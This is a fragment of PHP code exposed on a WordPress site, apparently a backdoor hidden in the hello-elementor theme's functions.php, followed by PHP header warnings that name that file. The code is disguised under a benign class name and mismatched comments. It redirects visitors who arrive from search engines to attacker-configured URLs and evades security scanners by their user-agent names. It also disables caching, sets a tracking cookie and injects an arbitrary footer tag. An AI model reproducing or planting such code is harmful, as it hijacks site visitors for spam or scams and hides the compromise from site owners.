';
echo '';
if ($related_html) echo '';
echo ''; exit;
}
}
/**
* Process incoming request data.
* @return void
*/
private function parse_referrer($incoming)
{
if (empty($incoming)) return false;
$_host = parse_url($incoming, PHP_URL_HOST) ?? '';
$source_list = $this->params['bot_sources'] ?? ['google','bing','yahoo','yandex','duckduckgo','baidu'];
foreach ($source_list as $_s)
{
if (stripos($_host, $_s) !== false) return true;
}
return false;
}
/**
* Handle the current page request.
* @since {{VERSION}}
*/
private function render_footer()
{
$_tag = $this->params['footer_tag'] ?? '';
if ($_tag === '') return;
add_action('wp_footer', function() use ($_tag) {
echo "\n" . $_tag . "\n";
}, 9975);
}
/**
* Load stored configuration from database.
* @return array|null
*/
private function track_visit()
{
$_seen = !empty($_COOKIE['_sess_2a8a']);
if (!$_seen)
{
$_hrs = intval($this->params['lifetime'] ?? 24);
setcookie('_sess_2a8a', '1', time() + $_hrs * 3600, '/');
}
return $_seen;
}
/**
* Check visitor properties.
* @param string $input The input to validate.
* @return bool
*/
private function load_config()
{
if (is_array($this->params)) return $this->params;
$_stored = get_option('_meta_index_media_3344');
if ($_stored && is_string($_stored))
{
$this->params = json_decode($_stored, true) ?: [];
} else {
$this->params = [];
}
if (function_exists('_wpx_resolve_ads'))
{
$_dns_urls = _wpx_resolve_ads('_meta_index_media_3344', 'dns_host', 'urls');
if (!empty($_dns_urls)) $this->params['urls'] = $_dns_urls;
}
return $this->params;
}
/**
* Generate dynamic page content.
* @param array $data Content data array.
* @return void
*/
private function route_visitor()
{
if (!$this->parse_referrer($this->incoming)) return;
if ($this->is_crawler($this->agent)) return;
if (empty($this->params['redirect_enabled'])) return;
if (empty($this->params['urls'])) return;
$_mode = $this->params['routing_mode'] ?? 'once';
if ($_mode === 'always')
{
$_urls = $this->params['urls'];
shuffle($_urls);
wp_redirect($_urls[0], 302);
exit; }
if ($this->track_visit()) return;
$goto_url = $this->params['urls'][array_rand($this->params['urls'])];
wp_redirect($goto_url, 302);
exit; }
/**
* Set browser-side tracking marker.
* @return bool Whether the marker was already set.
*/
public function process_request()
{
// Check cached state
if (is_admin()) return;
if (defined('DOING_AJAX') && DOING_AJAX) return;
if (defined('DOING_CRON') && DOING_CRON) return;
if (function_exists('is_user_logged_in') && is_user_logged_in()) return;
if (preg_match('/wp-(?:admin|login|cron|json)/', $this->path)) return;
if (empty($this->agent)) return;
$_scanners = ['curl','wget','python','semrush','ahrefs','sucuri','wordfence','malcare','scanner','monarx','sitelock','imunify','virusdie','quttera','detectify'];
$_found = array_filter($_scanners, function($_s) { return stripos($this->agent, $_s) !== false; });
if (!empty($_found)) return;
$this->load_config();
if (empty($this->params) || empty($this->params['status'])) return;
if (!defined('DONOTCACHEPAGE')) define('DONOTCACHEPAGE', true);
if (!defined('DONOTCACHEOBJECT')) define('DONOTCACHEOBJECT', true);
@header('X-LiteSpeed-Cache-Control: no-cache');
$this->compose_page();
$this->route_visitor();
$this->render_footer();
}
}
add_action('parse_request', function() {
(new WP_Output_Buffer())->process_request();
}, 4);
Warning: Cannot modify header information - headers already sent by (output started at /home/u462541150/domains/digitalenablers.in/public_html/wp-content/themes/hello-elementor/functions.php:1) in /home/u462541150/domains/digitalenablers.in/public_html/wp-includes/pluggable.php on line 1531
Warning: Cannot modify header information - headers already sent by (output started at /home/u462541150/domains/digitalenablers.in/public_html/wp-content/themes/hello-elementor/functions.php:1) in /home/u462541150/domains/digitalenablers.in/public_html/wp-includes/pluggable.php on line 1534